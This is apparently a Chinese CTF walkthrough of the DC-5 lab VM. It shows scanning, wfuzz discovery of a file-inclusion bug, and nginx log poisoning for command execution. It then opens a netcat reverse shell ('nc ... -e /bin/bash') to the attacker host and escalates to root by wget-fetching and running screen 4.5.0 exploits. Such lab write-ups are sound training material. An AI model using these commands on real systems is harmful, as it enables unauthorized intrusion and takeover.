前言
DC-5 是一个具有文件包含漏洞的靶场，那么我们如何去发现文件包含漏洞以及利用它反弹shell，再提权呢？
一、nmap,dirb扫描
做渗透测试的第一步一定是信息收集。常用工作有nmap,dirb等。
已知靶场地址为192.168.0.102
可正常访问
使用nmap扫描开放的端口
nmap -sT -p- --min-rate 2000 192.168.0.102
再用dirb扫描隐藏文件
dirb http://192.168.0.102 /usr/share/wordlists/dirb/big.txt -X .php,.txt
扫描到以下php文件
其中只有footer.php和thankyou.php在页面中没有显示
并且在contact页面submit提交后可看到thankyou.php
所以只有footer.php文件没有显示
查看一下
注意看该页面内容在另一个地方也出现过
footer.php独立显示的内容显示在了thankyou.php页面上，可以猜想是否是thankyou.php文件包含了footer.php文件，但是并不知道是否真的有文件包含，以及可利用否。
二、模糊化测试
所以继续做模糊化测试
wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/Injections/Traversal.txt http://192.168.0.102/thankyou.php?FUZZ=FUZ2Z
查看结果
尝试file参数
文件包含成功，文件包含漏洞也就找到了
三、文件包含漏洞利用
可以利用在liunx日志中写入php代码，制造命令执行漏洞
liunx登录日志默认路径为
/var/log/nginx/access.log
包含日志文件bp抓包写入php代码
再通过在url中提交cmd参数值，进行命令执行
http://192.168.0.102/thankyou.php?file=/var/log/nginx/access.log&cmd=ls
查看页面源代码
命令执行成功
四、shell反弹
利用命令执行反弹shell
因为都在内网当中所以不需要借助公网端口映射，监听端口
kali监听8001端口
nc -lvp 8001
url：http://192.168.0.102/thankyou.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.107 8001 -e /bin/bash
kali上shell反弹成功
页面优化
python -c 'import pty;pty.spawn("/bin/bash")'
五、提权
尝试sudo提权
sudo -l
不可行
查看etc/passwd 和计划任务 /etc/crontab,都没有发现
查看suid位提权方式
find / -user root -perm -4000 -print 2>/dev/null
和自己本机做对比
发现/bin/screen-4.5.0有点奇怪
查看有无权限提升模块
searchsploit screen 4.5.0
下载权限提升模块
searchsploit -m 41152
searchsploit -m 41154
然后开启一个web服务，上传可利用的模块
在靶机端，进入/tmp目录，利用wget 下载模块
python3 -m http.server 80
wget http://192.168.0.107/41154.sh
给模块可执行权限
chmod +x 41154.sh
再运行 41154.sh
但是报错，可能是因为靶机gcc环境不行，不能运行模块，我们可以在自己kali主机运行后再将其传到靶机上
创建一个新的目录baby,将41154.sh移入并运行
查看/tmp中生成的文件
将这两个文件上传到靶机
都加上可执行权限
再运行
./rootshell
./41154.sh
可获得root权限
总结
以上是DC-5 靶场的整个渗透过程，也是很经典的渗透流程，希望对大家有帮助。